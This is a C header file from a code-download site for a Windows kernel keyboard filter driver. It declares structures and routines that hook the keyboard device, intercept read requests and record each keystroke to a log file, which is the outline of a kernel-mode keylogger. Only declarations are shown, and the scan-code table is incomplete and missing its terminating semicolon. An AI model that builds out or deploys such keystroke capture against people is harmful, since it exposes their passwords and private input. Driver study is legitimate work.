⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mskbdcomm.h

📁 监视键盘
💻 H
字号:

//
//
// 监视键盘动作
//

#ifndef __MSKBDCOMM_H__
#define __MSKBDCOMM_H__

#ifdef __cplusplus
extern "C"
{
#endif
#include <ntddk.h>
#include <ntddkbd.h>
#ifdef __cplusplus
}
#endif

//#define MAXLONG	256

LONG	g_lPendingIrpNums = 0;

// 设置设备扩展结构
typedef struct tagKbdDeviceExtension
{
	PDEVICE_OBJECT	pKbdDev;			// 下一层驱动程序的设备
	HANDLE			hLogFile;			// 文件句柄(保存击键信息)
	BOOLEAN			bTerminateThread;	// 内核线程是否需要被终止的标志
	PETHREAD		pThreadObj;			// 在卸载驱动时用于等待线程结束(线程对象)
	KSEMAPHORE		semQueue;
	KSPIN_LOCK		spinLockQueue;
	LIST_ENTRY		queueListHeader;	// 双向链表		
} KBDDEVICE_EXTENSION, *PKBDDEVICE_EXTENSION;

// 存放键的数据
typedef struct tagKeyData
{
	LIST_ENTRY	listEntry;
	USHORT	ushortPortId;			// 键盘设备的ID
	USHORT	ushortScanCode;			// 键的扫描码
	USHORT	ushortKeyStatus;		// 键状态(Down,Up)
} KBD_DATA, *PKBD_DATA;

#define KEY_LEN		32

// 键盘映射表
typedef struct tagKeyMap
{
	USHORT	usScanCode;				// 扫描码
	CCHAR	szKey[KEY_LEN];			
} SCANCODE_MAP_KEY, *PSCAN_MAP_KEY;

SCANCODE_MAP_KEY	g_smk[] = 
{
	0x1E, "A",
	0x30, "B",
	0x2E, "C",
	0x20, "D",
	0x12, "E",
	0x21, "F",
	0x22, "G",
	0x23, "H",
	0x17, "I",
	0x24, "J",
	0x25, "K",
	0x26, "L",
	0x32, "M",
	0x31, "N",
	0x18, "O",
	0x19, "P",

}

// 此驱动支持的设备名
#define DEVICE_NAME_MSKBDDEV		L"\\Device\\MSKbdFilterDev"
#define DEVICE_NAME_MSKBDLINK		L"\\DosDevices\\MSKbdFilterLink"

// 键盘分层驱动的例程
NTSTATUS	MSKbdDriverEntry(
			IN PDRIVER_OBJECT pKbdDrvObj, 
			IN PUNICODE_STRING pRegisterPath
			);

// 在驱动程序的主函数表中设置所有的函数地址为MSKbdPassDown
// 此例程不处理,直接传递请求到下一层驱动
NTSTATUS	MSKbdPassDown(
			IN PDEVICE_OBJECT pKbdDevObj, 
			IN PIRP pIrp
			);

// 驱动的读取例程
NTSTATUS	MSKbdRead(
			IN PDEVICE_OBJECT pKbdDevObj, 
			IN PIRP pIrp
			);

// 驱动的卸载例程
VOID	MSKbdUnload(
		IN PDRIVER_OBJECT pKbdDrvObj
		);

// 当下一层驱动完成IRP处理时则让IO管理器调用完成IRP的完成例程
NTSTATUS	MSKbdReadCompletion(
			IN PDEVICE_OBJECT pKbdDevObj,
			IN PIRP	pIrp,
			IN PVOID pContent
			);

// 创建纪录击键信息到文件的线程
NTSTATUS	MSKbdInitRecKeyInfoThread(
			IN PDRIVER_OBJECT pKbdDrvObj
			);

// 安装键盘过滤设备
NTSTATUS	MSKbdHookDevice(
			IN	PDRIVER_OBJECT	pKbdDrvObj
			);

// 线程例程
VOID	MSKbdRecKeyThread(
		IN PVOID pContent
		);

// 创建纪录键信息的日志文件
NTSTATUS	MSKbdCreateFile(
			IN PKBDDEVICE_EXTENSION pKbdExtension,
			IN UNICODE_STRING& usFileName
			);

#endif

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -